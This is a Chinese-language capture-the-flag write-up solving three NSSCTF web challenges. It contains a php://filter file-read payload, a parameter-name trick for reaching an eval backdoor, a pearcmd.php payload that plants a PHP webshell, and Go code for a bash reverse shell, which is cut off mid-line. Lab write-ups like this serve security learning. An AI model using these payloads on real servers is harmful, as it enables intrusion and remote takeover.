MyDoor

上来什么也没有,用php伪协议读取index.php中的内容,构造payload:
http://node2.anna.nssctf.cn:28803/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
得到源码:
<?php
error_reporting(0);
if (isset($_GET['N_S.S'])) {
eval($_GET['N_S.S']);
}
if(!isset($_GET['file'])) {
header('Location:/index.php?file=');
} else {
$file = $_GET['file'];
if (!preg_match('/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {
include $file;
} else {
die('error.');
}
}
说明我们要传入一个名为N_S.S的变量进行命令执行或者利用file变量进行文件包含
file变量过滤了大部分伪协议,所以要利用N_S.S构造payload:
这里涉及到PHP非法传参:
根据php解析特性,如果字符串中存在
[、.等符号,php会将其转换为_且只转换一次,因此我们直接构造nss_ctfer.vip的话,最后php执行的是nss_ctfer_vip,因此我们将前面的_用[代替当
PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_
http://node2.anna.nssctf.cn:28803/index.php?N[S.S=system('ls /');
看了看根目录,没有啥东西,看一下phpinfo
http://node2.anna.nssctf.cn:28803/index.php?N[S.S=phpinfo();

得到flag
MyPage
一开始打算用data协议,或者filter协议进行内容读取,但是好像都被ban掉了,上网查了查资料,要利用对pearcmd.php文件进行调用,然后利用pear命令,构造payload:
?file=?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['Leaf']);?>+/tmp/shell.php

传入成功,现在/tmp目录下就有个shell.php文件,里面的内容是<?=@eval($_POST['Leaf']);?>,利用我们的一句话木马读取flag

扫描当前目录可以看到有/flag.php读取获得flag,

这里面的system(“cat flag.php”)需要用双引号,用单引号无法显示flag
看phpinfo也可以
Upload_gogoggo
go语言文件上传,他说没有过滤,暂且信他一手,上网查了一下go文件上传
并且这道题在上传后会执行go加上文件名.之前的字符串的命令,并且是对你上传的文件进行执行的
上传文件名为
shell.go,那么就会执行go run shell.go,这样会执行go里的代码
以下是通过go文件上传来进行反弹shell的代码:
package main
import (
"fmt"
"log"
"os/exec"
)
func main() {
cmd := exec.Command("/bin/bash", "-c", "bash -i &> /ip/port 0>&1")
out, err := cmd.CombinedOutput()
if err != nil {
fmt.Printf("combined out:\n%s\n", string(out))
log.Fatalf("cmd.Run() failed with %s\n", err)
}
fmt.Printf("combined out:\n%s\n", string(out

文章详细介绍了多个网络安全挑战的解决方案,包括利用PHP的错误报告和文件包含漏洞执行命令,通过Go语言文件上传实现反弹shell,以及利用Node.js的原型链污染漏洞读取flag。每个挑战都涉及特定的漏洞利用技巧和代码构造,强调了网络安全和代码审查的重要性。
最低0.47元/天 解锁文章
1316

被折叠的 条评论
为什么被折叠?



